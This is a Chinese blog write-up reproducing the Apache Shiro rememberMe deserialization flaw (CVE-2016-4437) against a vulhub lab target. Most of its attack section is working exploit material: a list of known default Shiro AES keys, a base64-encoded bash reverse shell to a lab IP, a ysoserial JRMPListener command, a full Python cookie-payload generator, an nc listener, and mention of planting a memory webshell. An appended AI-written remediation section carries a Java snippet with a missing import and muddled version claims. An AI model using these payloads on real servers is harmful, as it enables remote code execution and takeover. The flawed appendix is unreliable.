shiro反序列化漏洞复现(CVE-2016-4437 )

文章介绍了ApacheShiro框架中的CVE-2016-4437漏洞,涉及RememberMe功能的加密数据验证问题。详细描述了漏洞原理、影响范围、复现步骤,以及如何利用ysoserial工具进行攻击和修复建议。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1、简介

Apache Shiro是一个强大且易于使用的Java安全框架,提供认证、授权、加密以及会话管理功能。CVE-2016-4437具体涉及了Apache Shiro在使用记住我(RememberMe)功能时的反序列化漏洞。

2、漏洞原理

原因在于Apache Shiro对加密的RememberMe cookie的处理。在正常情况下,RememberMe功能让用户在返回网站时不用再次登录。为了提供这种功能,Shiro需要在客户端和服务器之间安全地传输身份验证数据。Shiro通过使用AES加密算法加密身份验证数据来实现这一点,然后将加密后的数据存储在cookie中。但是由于Shiro在版本1.2.4之前没有正确地验证加密数据,导致了可能的漏洞

3、影响范围

Apache Shiro <= 1.2.4

4、启动环境

利用docker启动vulhub环境

浏览器访问靶机IP加8080端口,搭建成功页面。

5、漏洞复现

随意输入账密点击登录并burp抓包,返回包中存在rememberMe=deleteMe字段,证明使用了shiro框架(注意:返回包中存在ememberMe=deleteMe字段,只能证明使用了shiro,并不能代表一定存在反序列化漏洞)

burp插件ShiroScan,检测到可能存在漏洞(八九不离十是存在漏洞的)

 ​​​​​​​简单说一下插件的安装,将下载好的包解压,参考下图添加插件。插件地址

上工具爆破key工具地址

可以命令执行

shiro反序列化常用key

kPH+bIxk5D2deZiIxcaaaA==
2AvVhdsgUs0FSA3SDFAdag==
3AvVhmFLUs0KTA3Kprsdag==
4AvVhmFLUs0KTA3Kprsdag==
5aaC5qKm5oqA5pyvAAAAAA==
6ZmI6I2j5Y+R5aSn5ZOlAA==
bWljcm9zAAAAAAAAAAAAAA==
wGiHplamyXlVB11UXWol8g==
Z3VucwAAAAAAAAAAAAAAAA==
MTIzNDU2Nzg5MGFiY2RlZg==
zSyK5Kp6PZAAjlT+eeNMlg==
U3ByaW5nQmxhZGUAAAAAAA==
4AvVhmFLUs0KTA3Kprsdcg==
5AvVhmFLUs0KTA3Kprsdag==
bXdrXl9eNjY2KjA3Z2otPQ==
fCq+/xW488hMTCD+cmJ3aQ==
1QWLxg+NYmxraMoxAXu/Iw==
ZUdsaGJuSmxibVI2ZHc9PQ==
L7RioUULEFhRyxM7a2R/Yg==
r0e3c16IdVkouZgk1TKVMg==
bWluZS1hc3NldC1rZXk6QQ==
a2VlcE9uR29pbmdBbmRGaQ==
WcfHGU25gNnTxTlmJMeSpw==

 输入如下命令克隆ysoserial工具源码。或直接离线下载(本文是离线下载)

git clone https://github.com/frohoff/ysoserial.git

解压进入ysoserial-master目录

unzip ysoserial-master.zip

cd ysoserial-master

输入如下命令编译打包

mvn package -D skipTests    (需要安装maven方可使用mvn命令)

编译打包的过程中遇到了报错,提示缺少该javax.interceptor-api:jar:3.1依赖。

解决方法:需要更新maven的仓库源

mvn -version    #查看maven的安装目录

进入以下目录

cd /usr/local/maven/apache-maven-3.9.6/conf

添加阿里云仓库源

vim settings.xml

<mirror>
      <id>alimaven</id>
      <name>aliyun maven</name>
       <url>http://maven.aliyun.com/nexus/content/groups/public/</url>
      <mirrorOf>central</mirrorOf>
</mirror>

重新输入以下命令编译打包

mvn package -D skipTests

编译打包成功

 反弹shell,构造反弹shell命令并进行加密。推荐地址

bash -i >& /dev/tcp/192.168.15.128/4444 0>&1

利用ysoserial中的JRMP监听模块,监听6666端口并且执行反弹shell命令

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1LjEyOC80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}'

构造cookie内容生成payload。

python shiro.py 192.168.15.128:6666

shiro.py脚本内容如下

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])
    print ("rememberMe={0}".format(payload.decode()))

如果出现下图报错,执行下面命令解决

​​​​​​​

pip uninstall crypto pycryptodome
pip install pycryptodome

nc监听4444端口

nc -lvvp 4444

利用burp,将生成的payload插入至cookie中。

正常情况会反弹shell,很烦,这里没有反弹成功,但是JRMP是有回显的

生气,很生气,有知道的大佬给点意见,是哪里出现了问题还是其他原因。

利用工具注入内存马

上蚁剑连接

连接成功

6、修复建议

根据官方要求将shiro升级至无漏洞版本。

### CVE-2016-4437 漏洞详情 CVE-2016-4437 是 Apache Shiro 中的一个严重反序列化漏洞,该漏洞允许攻击者通过精心构造的 `rememberMe` cookie 执行远程代码。Apache Shiro 使用了 Java 的原生对象序列化机制来处理记住我功能中的用户凭证存储和恢复操作。 当客户端发送带有恶意构造的 `rememberMe` 值时,在服务器端执行如下流程:取出请求包中 `rememberMe` 的 cookie 值 => Base64 解码 => AES 解密 (用到密钥) => 反序列化[^4]。如果此时传入的数据被篡改,则可能导致任意代码被执行。 ### 影响范围 此漏洞影响所有使用默认配置启用了 "Remember Me" 功能的应用程序版本低于 1.2.4 和 1.3.x 版本低于 1.3.1 的 Apache Shiro 库实例。由于许多 Web 应用依赖于此类身份验证框架,因此潜在受影响面广泛,特别是那些未及时更新至安全补丁版的企业级应用系统[^2]。 ### 解决方案 为了防止利用这一缺陷实施攻击,建议采取以下措施之一: #### 方法一:升级库文件 最直接有效的方式是尽快将使用的 Shiro 库升级到最新稳定版本,如 1.2.4 或更高版本对于长期支持分支;如果是开发新项目则推荐采用最新的主要发行版。官方已经发布了解决该问题的安全更新,并且后续版本也加强了对此类风险点的关注与防护力度。 #### 方法二:禁用 RememberMe 功能 如果不必要的话可以选择关闭应用程序内的 “Remember Me” 登录选项。这可以通过调整配置参数实现,具体做法取决于所集成的具体方式以及平台特性。这样做虽然牺牲了一定用户体验便利性但是能彻底消除与此特性相关的安全隐患。 #### 方法三:自定义加密算法 另一种可行的办法是对原有的加解密逻辑进行改造,替换掉存在隐患的标准组件而选用更稳健可靠的第三方替代品或是自行设计一套基于现代密码学原理的新方案。例如引入像 BCrypt 这样的强哈希函数用于数据保护而非简单的对称秘钥变换过程。 ```java // 示例代码展示如何设置Shiro环境变量以禁用RememberMe功能 import org.apache.shiro.config.IniSecurityManagerFactory; import org.apache.shiro.mgt.SecurityManager; public class DisableRememberMe { public static void main(String[] args){ IniSecurityManagerFactory factory = new IniSecurityManagerFactory(); SecurityManager securityManager = factory.getInstance(); // 关闭RememberMe管理器 ((DefaultWebSecurityManager)securityManager).setRememberMeManager(null); } } ```
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值